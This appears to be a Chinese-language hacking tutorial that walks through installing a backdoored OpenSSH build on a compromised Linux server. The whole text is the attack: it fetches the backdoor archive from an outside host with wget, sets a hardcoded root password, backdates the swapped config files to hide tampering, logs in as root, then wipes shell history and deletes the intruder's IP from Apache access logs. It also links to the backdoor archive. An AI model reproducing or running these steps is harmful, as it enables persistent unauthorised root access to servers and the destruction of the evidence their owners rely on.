文章作者:[email protected]
1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
3、下載並安裝ssh後門:
shell-# wget http://192.168.1.188/sshbd.tgz
shell-# tar zxvf sshbd.tgz
shell-# cd openssh
4、設置ssh後門的登錄密碼:
vi versio.h
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2
vi includes.h
define _SECRET_PASSWD "test123" -> edit as u wish password
5、繼續安裝:
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
shell-# /etc/init.d/sshd restart
6、登入後門:
ssh -l root 192.168.1.188
密碼:test123
echo >/root/.bash_history //清空操作日誌
7、清除apache日誌:
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/210.73.64.100/d' access_log*
附件地址:ssh.rar
http://u.115.com/file/f455c750ee